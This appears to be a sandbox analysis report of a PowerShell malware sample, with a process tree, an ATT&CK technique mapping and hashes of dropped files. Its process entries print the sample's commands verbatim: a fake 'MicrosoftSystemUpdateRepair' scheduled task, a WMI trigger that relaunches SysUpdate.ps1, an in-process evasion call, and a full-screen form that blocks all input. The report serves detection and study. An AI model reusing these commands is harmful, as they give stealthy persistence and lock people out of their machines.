  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Hide { [DllImport("kernel32.dll")] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern bool SetProcessInformation(IntPtr hProcess, int ProcessInformationClass, IntPtr ProcessInformation, uint ProcessInformationSize); } "@ $ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) [System.Runtime.InteropServices.Marshal]::WriteInt32($ptr, 0x1) [Hide]::SetProcessInformation([Hide]::GetCurrentProcess(), 0, $ptr, 4)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1716
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing $f = New-Object System.Windows.Forms.Form $f.FormBorderStyle = 'None' $f.WindowState = 'Maximized' $f.TopMost = $true $f.ControlBox = $false $f.BackColor = 'Black' $f.Opacity = 1.0 $f.ShowInTaskbar = $false $f.KeyPreview = $false $f.Capture = $true $f.Add_KeyDown({ $_.SuppressKeyPress = $true }) $f.Add_MouseClick({ return }) $f.Add_MouseMove({ return }) $f.Add_Resize({ return }) $f.Add_Paint({ $_.Graphics.FillRectangle([System.Drawing.Brushes]::Black, $f.ClientRectangle) }) $f.ShowDialog()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4764
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Windows.Forms, System.Drawing $f = New-Object System.Windows.Forms.Form $f.FormBorderStyle = 'None' $f.WindowState = 'Maximized' $f.BackColor = 'Black' $f.TopMost = $true $l = New-Object System.Windows.Forms.Label $l.Text = "Shutting down..." $l.ForeColor = 'White' $l.Font = New-Object System.Drawing.Font('Arial', 24) $l.AutoSize = $true $l.Location = New-Object System.Drawing.Point((($f.Width - $l.Width)/2), (($f.Height - $l.Height)/2)) $f.Controls.Add($l) $f.ShowDialog()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1036

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SysUpdate.ps1

Path C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1
Size 12KB
SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
MD5 4c47e1405c6fa862f6cda3b2d2a82469
SHA1 3966cd1be2209ebceb1a8827cfaa4cac4f357d58
SHA512 62b47860e2a8dfe89cd7270c12b156532fe7f18771553e75401c47105ca4dc93cf4149cb043d36a165cde5f8bcbfe8445795ffedcd8bf7a6cd8f84e3ffb67c52
SSDEEP 192:IxpsFtt8sPbKr0wsJThJ1mrLLqmNtoiuVm/1/RxCCWEKM3uCCr597AH14EM1f:IfUt8wKr0n80PVm/vxBWEKAuBr5RAHi
TLSH
T1B54283517A24A266CAF2DF3AD8D7E506DF6F503B11629A0039ACD090BF71166C338BC9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 6a3f8c0c8b43b47082e45dab45489cecd3f76701bc938d0daa7505c468e2801f
MD5 2a07c72d984f94d4ede0db3e80b92623
SHA1 c335f2c1ef028b8f45e723bd5f15a5b0f4ad1478
SHA512 91809e8e809007c6e1b0263bc2b2bd077384eeb9cf3bd0f50dc6cd775f7262a73f5140ace2aff15ac7c843d5ef20d446d0dc00da990c98429000b26bd1f5372b
TLSH
T19881CE323275B0D4C8567F07292819D063BF4396EA98AF4CB25C621ED92751BDB122F7
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 da32a79a8e04cbafb1c5980b3d6225f4705010df5eb45d464cd5bf6b642d7841
MD5 93678e82d776686aa54c42b8a98e6cbc
SHA1 802939dfed99ac74814c4371388b204c5810241d
SHA512 0b412a1e11c0639d72f6a58c661ecc43da021c010c4d1e66051c5a376ebab287480bbf663345c9bd2a79ec3a35a9788cf04d74d612449f76fe2c87576cd13520
SSDEEP 1536:XC+jH04tAHkjUpx9SMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa7:XC+jH04tAHkjUpxwMrxyNhftflJdvYoy
TLSH
T102434093E9204D71E1A66F3EF15662227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8773b448093519f4a49d2711e3c50d5f148222662c76a55785d0ecf22c256eef
MD5 5f478dbe5a8f91b713111a5369e0c010
SHA1 81a708b195f3a57c41ee76022bee02182be04d09
SHA512 e44f3bec1960c0c7450f4266873b28e7a075c394ea8e712eae4e775e8c73d02f66ad7bd935351f0243ea1621aecfdef1a492747cbfe815434af6caff005976ab
TLSH
T1E0219727B39CC921CCC9113A209D9C1032B682C7809ECF9F6BC4D214A47FAD8CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a58429fb3b5348bb297e46ab4e848af2a6e8c8bce74f5ce5a0e531352f7e82f3
MD5 11b36532189b423fbb5b84b6bf4613b0
SHA1 8fc114903c45e396e4a8c39add43884a7df6777c
SHA512 f858187f795e1ba4b3c54007decc44caee48140177a54e848e41bfcee1a4486e2f689f96251efaa4cb112f7b00b5eec5254f18ebb084df32eb864c321352321a
TLSH
T164117627F3DC8921CC9A163A509D9C5177B693C7819EDFAF6BC0C205A5BF498CB71290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 fbcf20d62139b751f16d79de24d9fed9973a53e3d004153b523588bd499042e6
MD5 a9a2916f231f69efe4ac372a359c1c44
SHA1 3db48acd708d1b7242df0e1b8da31d6b65cb1d4e
SHA512 8f97a95aea259c1e68e608e78137f24a552420cf38ce0dfbba7fc1eea41a3a6f383d31739fa6723297023aff623bd6cdbed548aa0d019c4b5afba98a8d55d4f5
TLSH
T1EE116223F38C89A0CC86163A409CAC4572B686CB81AEDFDF3BC0C210E5BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 a6249b8847b8b76a0dba1f8085a5f25d839d3e4c66b35d5531bb7688a61232bc
MD5 7c9663eea68b87e7f184e2033911f706
SHA1 03e71da5acf1d0276da78b973907d34cb5c8af6e
SHA512 de5fe1952deae6e9179a7046948511e692bdb93913074e7932e956ec4c7ed5f53d3a1aa8969f5db984c90e90953ee981296c7c0ccb44a428ac7d283ca189a12b
TLSH
T134112223F78C89A1CC96163A509DAC5172B686CB81AEDFDF7BC0C210E5BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ostg0imm.2cn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ostg0imm.2cn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/872-53-0x0000025D3FBC0000-0x0000025D3FD36000-memory.dmp

Download

memory/872-54-0x0000025D3FF50000-0x0000025D4015A000-memory.dmp

Download

memory/2252-13-0x000001BC49760000-0x000001BC49770000-memory.dmp

Download

memory/2252-12-0x000001BC49760000-0x000001BC49770000-memory.dmp

Download

memory/2252-11-0x000001BC62600000-0x000001BC62624000-memory.dmp

Download

memory/2252-1-0x000001BC49760000-0x000001BC49770000-memory.dmp

Download

memory/2252-10-0x000001BC62600000-0x000001BC6262A000-memory.dmp

Download

memory/2252-9-0x000001BC49720000-0x000001BC49742000-memory.dmp

Download

memory/2252-0-0x000001BC49760000-0x000001BC49770000-memory.dmp

Download